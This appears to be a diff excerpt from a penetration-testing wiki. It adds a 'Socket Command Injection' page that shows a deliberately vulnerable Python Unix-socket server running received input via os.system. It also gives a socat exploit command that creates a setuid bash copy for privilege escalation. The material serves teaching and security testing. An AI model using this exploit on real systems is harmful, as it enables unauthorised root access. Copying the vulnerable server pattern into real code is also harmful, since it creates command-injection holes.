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* [Linux Privilege Escalation](linux-unix/privilege-escalation/README.md)
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* [Cisco - vmanage](linux-unix/privilege-escalation/cisco-vmanage.md)
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* [D-Bus Enumeration & Command Injection Privilege Escalation](linux-unix/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md)
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* [Escaping from restricted shells - Jails](linux-unix/privilege-escalation/escaping-from-limited-bash.md)
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* [Interesting Groups - Linux PE](linux-unix/privilege-escalation/interesting-groups-linux-pe/README.md)
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* [lxd/lxc Group - Privilege escalation](linux-unix/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md)
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* [NFS no\_root\_squash/no\_all\_squash misconfiguration PE](linux-unix/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md)
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* [Escaping from restricted shells - Jails](linux-unix/privilege-escalation/escaping-from-limited-bash.md)
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* [SSH Forward Agent exploitation](linux-unix/privilege-escalation/ssh-forward-agent-exploitation.md)
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* [Socket Command Injection](linux-unix/privilege-escalation/socket-command-injection.md)
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* [Payloads to execute](linux-unix/privilege-escalation/payloads-to-execute.md)
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* [Wildcards Spare tricks](linux-unix/privilege-escalation/wildcards-spare-tricks.md)
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* [Useful Linux Commands](linux-unix/useful-linux-commands/README.md)
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@ -438,6 +438,21 @@ If you **identify any writable socket** \(_now where are talking about Unix Sock
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netstat -a -p --unix
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```
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### Raw connection
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```bash
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#apt-get install netcat-openbsd
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nc -U /tmp/socket #Connect to UNIX-domain stream socket
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nc -uU /tmp/socket #Connect to UNIX-domain datagram socket
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#apt-get install socat
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socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type
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```
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**Exploitation example:**
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{% page-ref page="socket-command-injection.md" %}
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### HTTP sockets
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Note that there may be some **sockets listening for HTTP** requests \(_I'm not talking about .socket files but about the files acting as unix sockets_\). You can check this with:
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linux-unix/privilege-escalation/socket-command-injection.md
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linux-unix/privilege-escalation/socket-command-injection.md
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# Socket Command Injection
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### Socket binding example with Python
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In the following example a **unix socket is created** \(`/tmp/socket_test.s`\) and everything **received** is going to be **executed** by `os.system`.I know that you aren't going to find this in the wild, but the goal of this example is to see how a code using unix sockets looks like, and how to manage the input in the worst case possible.
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{% code title="s.py" %}
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```python
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import socket
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import os, os.path
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import time
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from collections import deque
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if os.path.exists("/tmp/socket_test.s"):
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os.remove("/tmp/socket_test.s")
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server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
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server.bind("/tmp/socket_test.s")
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while True:
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server.listen(1)
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conn, addr = server.accept()
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datagram = conn.recv(1024)
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if datagram:
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print(datagram)
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os.system(datagram)
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conn.close()
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```
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{% endcode %}
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**Execute** the code using python: `python s.py` and **check how the socket is listening**:
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```python
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netstat -a -p --unix | grep "socket_test"
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(Not all processes could be identified, non-owned process info
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will not be shown, you would have to be root to see it all.)
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unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s
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```
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**Exploit**
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```python
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echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
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```
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